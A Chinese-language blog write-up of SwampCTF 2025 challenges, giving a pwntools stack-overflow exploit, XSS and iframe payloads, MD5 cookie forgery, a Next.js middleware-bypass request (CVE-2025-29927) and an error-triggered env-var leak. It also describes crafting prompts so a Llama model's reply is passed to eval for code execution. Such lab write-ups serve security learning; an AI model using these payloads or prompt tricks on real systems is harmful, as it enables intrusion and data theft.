SwampCTF2025(AK)
本文最后更新于 26 天前,其中的信息可能已经有所发展或是发生改变。

Web

Contamination

题目信息

I have created a safe reverse proxy that only forwards requests to retrieve debug information from the backend. What could go wrong?
翻译:
我创建了一个安全的反向代理,它仅转发从后端检索调试信息的请求。可能会出现什么问题呢?

下载附件,审一下路由

from flask import Flask, jsonify, request
import os
import logging

app = Flask(__name__)

app.config['DEBUG'] = os.getenv('DEBUG', 'False')
app.config['LOG_LEVEL'] = os.getenv('LOG_LEVEL', 'warning')


@app.route('/api', methods=['POST'])
def api():
  param = request.args.get('action')
  app.logger.info(f"Received param: {param}")

  if param == 'getFlag':
      try:
          data = request.get_json()
          app.logger.info(f"Received JSON data: {data}")
          return jsonify(message="Prased JSON successfully")
      except Exception as e:
          app.logger.error(f"Error parsing JSON: {e}")
          debug_data = {
              'headers': dict(request.headers),
              'method': request.method,
              'url': request.url,
              'env_vars': {key: value for key, value in os.environ.items()}
          }
          return jsonify(message="Something broke!!", debug_data=debug_data)

  if param == 'getInfo':
      debug_status = app.config['DEBUG']
      log_level = app.config['LOG_LEVEL']
      return jsonify(message="Info retrieved successfully!", debug=debug_status, log_level=log_level)

  return jsonify(message="Invalid action parameter!", param=param)


if __name__ == '__main__':
  app.run(host='0.0.0.0', port=5000)

getflag,getinfo都要,但是第一步得绕过授权,即绕过验证,在/api路由下,他对action没有严格过滤东西,那么用http两次参数就可以绕过的

这一步过去之后,有一个json解析,我们可以看到,只有让json报错,我们才能得到数据,也就是利用代码中的异常处理逻辑泄露敏感数据

try:
          data = request.get_json()
          app.logger.info(f"Received JSON data: {data}")
          return jsonify(message="Prased JSON successfully")
      except Exception as e:
          app.logger.error(f"Error parsing JSON: {e}")
          debug_data = {
              'headers': dict(request.headers),
              'method': request.method,
              'url': request.url,
              'env_vars': {key: value for key, value in os.environ.items()}
          }
          return jsonify(message="Something broke!!", debug_data=debug_data)

所以要怎么让json报错呢

我这边试了传对象看能不能报错,但是是不允许的,于是就尝试利用不可见字符,最一开始用的是�,但是转过去就是不行

是报错了,但是没有带来数据,最后去查了下资料,去改hex,可以改为单个不可见字符,比如e9

如果把它直接当作 UTF‑8 来解析,就会解析失败

MaybeHappyEndingGPT

进去之后感觉就是个ai题,当时环境坏了,一直在审代码,他对ai的配置代码看了基本没什么用,最后全局搜索,找到了这个

import { NextResponse } from 'next/server';

const baseURL = "https://api.novita.ai/v3/openai";
const model = "meta-llama/llama-3.2-1b-instruct";

export async function POST(request: Request) {
try {
  const { messages, options } = await request.json();

  const response = await fetch(`${baseURL}/chat/completions`, {
    method: 'POST',
    headers: {
      'Authorization': `Bearer ${process.env.NOVITA_API_KEY}`,
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      messages,
      model,
      ...options,
      response_format: { type: "text" }
    }),
  });

  if (!response.ok) {
    throw new Error(`API error: ${response.status}`);
  }

  const result = await response.json();
  const content = result.choices[0].message.content;
  console.log('Content:', content);
  // Vibe coding is always the way
  try {
    const flag = await eval(content);
    return NextResponse.json({
      response: flag
    });
  } catch (error) {
    console.error('Error in chat API route:', error);
  }
   
  return NextResponse.json({
    response: result.choices[0].message.content,
  });
} catch (error) {
  console.error('Error in chat API route:', error);
  return NextResponse.json(
    { error: 'Failed to process chat request' },
    { status: 500 }
  );
}
}
const result = await response.json();
  const content = result.choices[0].message.content;
  console.log('Content:', content);
  // Vibe coding is always the way
  try {
    const flag = await eval(content);
    return NextResponse.json({
      response: flag
    });
  } catch (error) {
    console.error('Error in chat API route:', error);
  }

可以看到,这个对应的就是我们和ai交互的content,其中有那个eval危险函数,而且这也证明了flag文件的存在,现在就得想办法去构造咱们的语句,也就是提示词,让ai实现任意代码执行

最开始测试ai,经典已读乱回,同时带有颜表情什么乱七八糟的,于是开始找提示词,对其一一限制,包括不要有颜表情,严格返回我要的东西,不要对我道歉等等,最后包裹上我们要执行的恶意代码

这边我尝试了好几次,有两种回显,一种是直接回显我后面的命令,一种就是什么这个,处理聊天请求错误,也就是说我的提示词造成了他的错误,稍加修改,但是还是不行,后面在想是不是因为我已有聊天语句,对其后面再聊天的过程造成了影响,于是重开网页,通过抓包输入我的语句

成功打通了,而且也要多试几次才可以,也要注意一点,是要在await其下对应的content去传,才能利用到eval函数

Beginner Pwn 2(PWN)

文件都IDA里看

经典的栈溢出,覆盖返回地址

from pwn import *
io = remote("chals.swampctf.com", 40001)
elf = ELF("./binary")
win = elf.sym["win"]
pl= cyclic(0xa + 0x8)+ p64(win)
io.sendline(pl)
io.interactive()
/计算好偏移量就可以了
/有的时候IDA给的缓冲区长度会有问题,那个时候要去gdb动调一下

但当时我的虚拟机就贼卡,SU的好哥哥在他那打通了

Hidden Message-Board

第一眼XSS

说尽量用<a>标签去做嘞,上来就测试上了

<a href="x" onmouseover="alert('xss');">xss</a>

测试成功,以为是获取cookie,于是开始+document.cookie

后面才知道是在前端文件中,有一个写好的异步函数checkCode(),同时人家也给提示了

在APP.js中修改即可,逻辑保存

Editor

题目信息:

I took a few hours to create a simple HTML/CSS previewer system. Since there's no way to add JavaScript then my server should be safe, right?

Grab the flag from the http://chals.swampctf.com:47821/flag.txt file on the server to show that this isn't the case.

The flag is in the standard format. Good luck!

flag在/flag.txt中

下载附件,最开始看到都是一些开启实例信息和配置信息以及flask架构一些东西,没找到可利用的点

在app.config.ts文件中看到可能能利用的点

import { Component, effect, ElementRef, model, ViewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';

import { MonacoEditorModule } from 'ngx-monaco-editor-v2';
import { ButtonModule } from 'primeng/button';
import { DrawerModule } from 'primeng/drawer';

@Component({
selector: 'app-root',
imports: [
  FormsModule,
  MonacoEditorModule,
  ButtonModule,
  DrawerModule
],
templateUrl: './app.component.html',
styleUrl: './app.component.scss'
})
export class AppComponent {
@ViewChild('previewIframe') previewIframe!: ElementRef<HTMLIFrameElement>;
 
protected cssEditorOptions = {theme: 'vs-dark', language: 'css', automaticLayout: true, links: false};
protected htmlEditorOptions = {theme: 'vs-dark', language: 'html', automaticLayout: true, links: false};

protected userCSS = model<string>(
`p {
color: red;
}
`);
protected userHTML = model<string>(
`<!DOCTYPE html>
<html>
<head>
<!--If you remove the below style tag, your CSS won't be applied.-->
<style class=\'custom-user-css\'></style>
</head>
<body>
<h1>My First Heading</h1>
<p>My first paragraph.</p>
</body>
</html>
`);

constructor() {
  effect(() => this.updateRenderedPage(this.userHTML(), this.userCSS()));
}

ngAfterViewInit() {
this.updateRenderedPage(this.userHTML(), this.userCSS());
}

private updateRenderedPage = (html: string, css: string) => {
const content = html
.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, "")
.replace(/\son\w+="[^"]*"/gi, "")
.replace(
/<style class=['"]custom-user-css['"]><\/style>/,
  `<style class='custom-user-css'>${css}</style>`
  );

  const iframeDoc = this.previewIframe?.nativeElement.contentDocument!;
  iframeDoc?.open();
  iframeDoc?.write(content);
  iframeDoc?.close();
}

}
 private updateRenderedPage = (html: string, css: string) => {
const content = html
.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, "")
.replace(/\son\w+="[^"]*"/gi, "")
.replace(
/<style class=['"]custom-user-css['"]><\/style>/,
  `<style class='custom-user-css'>${css}</style>`
  );

  const iframeDoc = this.previewIframe?.nativeElement.contentDocument!;
  iframeDoc?.open();
  iframeDoc?.write(content);
  iframeDoc?.close();
}

}

禁掉了<script>标签,也正则掉了on,被正则移除掉了,但是第三个replace,可以实现CSS注入,紧紧允许替换<style class='custom-user-css'>${css}</style>的内容,然后将处理后的内容显示在 iframe 中,那么我们就可以构造,去看到/flag.txt

<iframe src="/flag.txt" onload="alert(this.contentDocument.body.innerText)"></iframe>

同时,直接这样也是可以的

<iframe src="/flag.txt" onload="alert()"></iframe>

SwampTech Solutions

这个题是M1ng2u好哥哥做出来的,我想着自己也去做一下

看源码找到登录的用户名和密码

<!-- TEST USER CREDENTIALS -->
<!-- guest:iambutalowlyguest -->

登进去之后是这样的

得是admin才可以访问admin页面,当时群里就在讨论此题,说是个弱cookie,当时就知道怎么弄了,user对应的cookie是guest的md5加密,换成admin的md5加密就好啦

成功访问到admin的页面,进去找到了这个

/process.php在这可以上传xml文件,也就是存在XXE,同时flag就是在/flag.txt中

但是不知道为啥我这抓不到它,qwq

SlowAPI

没看懂

说是next.js的,后来是书鱼哥哥找到的路由/api/auth/status/api/protected/flag

bao师傅也去查了,是最新的Next.js中间件漏洞,CVE-2025-29927

一会好好去看看去

GET /api/protected/flag HTTP/1.1
Host: chals.swampctf.com:43611
x-middleware-subrequest: middleware

#######################
请求头
头部字段 值 分析
Host chals.swampctf.com:43611 目标服务器
x-middleware-subrequest middleware 关键头,可能用于服务器中间件验证

ONIST

Party Time!

给了图片,exif里有信息,直接锁定了坐标地域

swampCTF{29.653,-82.333}

Party Time! Level 2

The party just ended, but people are hungry. Find the nearest fast food spot to see where everyone went!

The flag format is swampCTF{...}. You will not need to wrap it yourself.

最一开始,我以为是找附近快餐店的名字,就是flag嘞,但是很快就锁定到了Checkers这家店了,但是提交了店名是错误的,后面想起了去翻评论,说实话有点阴间的,得亏当时书鱼哥哥提醒说他flag是写好的,要不然没想起了去翻评论

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇